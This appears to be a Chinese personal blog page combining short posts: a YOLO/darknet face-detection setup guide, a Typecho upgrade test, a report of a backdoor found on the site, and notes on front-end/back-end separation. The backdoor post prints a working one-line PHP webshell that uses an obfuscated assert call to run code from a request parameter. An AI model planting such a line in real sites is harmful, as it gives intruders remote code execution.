正式训练一些数据，这次主要我们测试用YOLO来进行人脸检测。
下载训练数据集，一般有FDDB 和 wider_face（http://mmlab.ie.cuhk.edu.hk/projects/WIDERFace/）
wider_face 人脸更多，训练结果当然更好。但是使用起来很麻烦。所以这里我们先使用FDDB进行训练
进入下载页面
http://vis-www.cs.umass.edu/fddb/index.html#download
分别下载图片和标注文件
FDDB-folds.tgz
originalPics.tar.gz
接下来是训练自己的模型
Ubuntu下载LabelImg标注工具
git clone https://github.com/tzutalin/labelImg安装依赖
apt-get install pyqt4-dev-tools
apt-get install python-lxml编译make all，运行
python labelImg.py网络原理就不多讲，我也是半知半解，我们先关注怎么用。
下载源码
git clone https://github.com/pjreddie/darknet.git对Makefile的几个参数根据自己的情况进行修改
GPU=1
CUDNN=1
OPENCV=1编译make，下载训练好的权重文件：wget https://pjreddie.com/media/files/yolov3.weights
然后就可以测试
测试图片
./darknet detect cfg/yolov3.cfg yolov3.weights data/dog.jpg
测试视频，video file自己放段视频
./darknet detector demo cfg/coco.data cfg/yolov3.cfg yolov3.weights <video file>升级了下typecho版本，测试下发图
只是测试更新版本后功能是否正常，电影是值得一看的。
今晚要睡觉，忽然发现首页被放了个后门，也不知道是什么时候给放的，哎，太久没打理，等网关弄好再好好整整。
一句话后门
$_REQUEST['y2gyc0']) && array_map("ass\x65rt",(array)$_REQUEST['y2gyc0']);猜测是我版本升级的时候没有把install.php忽略，结果留下这个安装入口的隐患
个人觉得前后端分离有诸多好处，特别是在快速迭代的移动互联网应用的开发上。
其一是优化开发流程和分工，可是让前后端的开发工作同步进行，设计初步确定后前后端开发人员协商定下接口文档，前端开发人员可以构建Mock工具模拟接口进行开发；
其二是解耦，移动互联网项目出现变更的情况非常普遍，前后端分离让变更照成的影响减低，加上前端采用组件化，一些变更甚至只需要修改前端的某个组件，有些可能就是后端提供新接口前端添加组件。
其三是对应用的控制和排错更加方便，接口可以都接入统一的API网关进行控制和监控；
其四是某些场景下可以降低对服务端性能的消耗，这里是指采用比如nodejs的前端框架进行前端渲染。
测试留位